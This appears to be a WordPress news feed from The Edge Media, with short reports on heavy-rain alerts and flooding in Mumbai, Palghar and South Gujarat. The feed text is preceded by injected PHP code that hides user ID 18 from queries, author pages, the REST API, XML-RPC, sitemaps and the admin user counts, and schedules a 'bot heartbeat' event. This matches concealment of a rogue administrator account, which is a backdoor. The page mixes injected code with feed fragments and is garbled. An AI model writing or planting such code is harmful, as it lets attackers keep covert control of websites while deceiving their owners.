add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post RED ALERT: Heavy Rains Expected in Palghar, South Gujarat & Mumbai appeared first on The Edge Media.
]]>Authorities have urged residents to stay indoors and avoid unnecessary travel as disaster management teams have been placed on high alert. Local administrations are closely monitoring water levels in low-lying areas and coordinating with weather agencies to provide timely updates.
In Mumbai, Thane, and Raigad, fresh showers are expected between 10 pm Wednesday and 1 pm Thursday, with rainfall projected between 60 mm and 90 mm. Officials, however, confirmed that the worst phase of heavy rains in Mumbai is over, though waterlogging and traffic disruptions may still occur in several pockets.
An official from SkyWatch Weather India stated:
“Palghar and South Gujarat are likely to see intense rainfall in the next 24 hours. While Mumbai continues to receive showers, extreme conditions are unlikely there.”
Travel advisories have been issued, cautioning citizens against visiting coastal regions and urging commuters to stay updated on transport alerts. Emergency helplines have been activated, and residents are advised to prepare for possible disruptions.
With the monsoon currents strengthening along the Konkan coast, weather experts warn that Palghar, Vapi, and Valsad could face flash floods if rainfall intensifies overnight.
The post RED ALERT: Heavy Rains Expected in Palghar, South Gujarat & Mumbai appeared first on The Edge Media.
]]>The post Mumbai Warned Against Heavy Rainfall, Red Alert Announced appeared first on The Edge Media.
]]>“This has been raised to red alert today, signifying the possibility of exceptionally heavy rain, taking into account the synoptic condition,” said a meteorologist of the IMD in Mumbai.
On Wednesday, the city awoke to its fourth consecutive day of rain, with 23.9mm of rain falling in the 24 hours finishing at 8.30 am.
Heavy to very heavy rains are predicted over Mumbai, with the possibility of very heavy rain (over 204.5mm) in localized spots throughout the day, as well as winds blowing of 40-50 kph, gusting to 60 mph in certain parts.
The post Mumbai Warned Against Heavy Rainfall, Red Alert Announced appeared first on The Edge Media.
]]>The post Heavy Rains In Mumbai Causes Flood, Swept Away Cars appeared first on The Edge Media.
]]>Officials reported 156.94 mm of rain in Mumbai between 8 p.m. and 2 a.m., with the east end receiving 143.14 mm and the western suburbs receiving 125.37 mm, correspondingly.
Waterlogging was recorded in a number of locations, notably Chunabhatti, Sion, Dadar, Gandhi Market, Chembur, and Kurla LBS Road. Residents were observed in some of these low-lying regions removing rainwater that had infiltrated their homes as a result of the rainfall.
The post Heavy Rains In Mumbai Causes Flood, Swept Away Cars appeared first on The Edge Media.
]]>The post Mumbai Receives Orange Alert For The Next 3 Days appeared first on The Edge Media.
]]>The IMD forecasts overcast skies with medium rain/thundershowers throughout the urban core. There is also a chance of heavy to very heavy rain in remote areas.
Earlier, forecasters expected that rainfall would begin on Saturday, but this has been delayed owing to the creation of an east-west shear zone (an region packed with conflicting winds) over the north Konkan coast.
The post Mumbai Receives Orange Alert For The Next 3 Days appeared first on The Edge Media.
]]>